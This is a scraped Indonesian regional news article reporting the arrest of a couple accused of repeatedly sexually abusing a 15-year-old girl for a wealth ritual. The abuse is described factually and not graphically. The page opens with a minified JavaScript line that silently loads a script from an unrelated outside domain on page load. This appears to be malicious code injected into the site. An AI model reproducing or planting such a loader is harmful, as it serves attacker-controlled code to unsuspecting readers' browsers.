(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BARABAI, Dengan dalih untuk pesugihan, pasangan suami istri (pasutri) di Kabupaten Hulu Sungai Tengah (HST) ini melakukan pencabulan kepada gadis dibawah umur. Bahkan, hingga korban tersebut hamil.
Peristiwa yang menghebohkan ini terjadi di sebuah Desa Satiap, Kecamatan Pandawan, Kabupaten HST. Terkuaknya kasus ini ketika korban AA (15) pada Selasa (17/7 lalu, mengaku kepada orangtuanya bahwa ia sedang hamil. Hal tersebut karena AA merasakan perkembangan tubuhnya yang semakin beasar dan sudah beberapa lama tidak menstruasi.
Kaget dengan pengakuan anaknya, orantua AA pun mengorek keterangan lebih lanjut akan kejadian yang menimpa putrinya tersebut. Lalu, berceritalah AA bahwa ia sejak lama telah dicabuli oleh Basuki (55) sebanyak 10 kali dengan dibantu oleh istrinya bernama Hamisah (39).
Kasus ini pun saat ini sedang ditangani oleh Polres HST. Dalam konfrensi pers yang digelar Kamis (26/7) sekitar pukul 14.00 Wita, Kapolres HST AKBP Sabana Atmojo, SIK, MH, didampingi Kabag Ops Kompol Jhoni Eka Putra, SH, SIK, Kasat Reskrim Iptu Sandi, SH, Kasat Sabhara Iptu Anton Silalahi, Kasi Propam Ipda Rachmat Hidayat Noor, Tim URC dan Ps. Paur SubagHumas Bripka M. Husaini, SE, MM menyampaikan kronologi terjadi peristiwa itu.
AKBP Sabana Atmojo menjelaskan, dalam kasus tindak pidana persetubuhan terhadap anak di bawah umur, pihaknya meringkus dua tersangka yang merupakan Pasutri, yakni Basuki dan Hamisah yang berprofesi sebagai petani.
“Dari pengakuan korban AA, ia mengaku dirinya disetubuhi BR (Basuki) sebanyak kurang lebih 10 kali dengan dibantu oleh HS (Hamisah) sang istri,†kata Kapolres AKBP Sabana.
Dalam melakukan perbuatan persetubuhan tersebut, korban dibujuk rayu serta diancam setiap kali disetubuhi oleh pelaku. Sehingga AA tak berani berontak maupun teriak.
Mengetahui anaknya diperlakukan seperti itu hingga sampai hamil, orang tua korban segera melaporkan kejadian tersebut ke Polres Hulu Sungai Tengah.
Menanggapi laporan tersebut, Polsek Pandawan dengan cepat melakukan penangkapan terhadap Pasutri dan dibawa ke Mapolres Hulu Sungai tengah untuk proses lebih lanjut. Selain itu barang bukti juga turut diamankan berupa 1 lembar Baju warna merah dan 1 lembar celana warna Hitam.
Dari hasil pengembangan terhadap kasus ini, Kapolres mengatakan bahwa motif tersangka melakukan pencabulan kepada AA adalah untuk pesugihan. Modusnya, Basuki meminta istrinya mencarikan seorang gadis muda perawan untuk disetubuhi.
KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More
KANALKALIMANTAN.COM – Setiap tanggal 29 April diperingati salah satu seni atau ekspresi diri yang tertua… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Unit Pelaksana Teknis Daerah (UPTD) Taman Budaya Provinsi Kalimantan Selatan (Kalsel) menyelenggarakan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dewan Pengurus Daerah (DPD) Komite Nasional Pemuda Indonesia (KNPI) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARBARU - Semangat memperingati Hari Kartini 2024, PT PLN (Persero) Unit Induk Penyaluran dan… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS – “Konser Malam Pestaforia Kapuas 2024” menyemarakan Hari Jadi ke-218 Kota Kuala… Read More
This website uses cookies.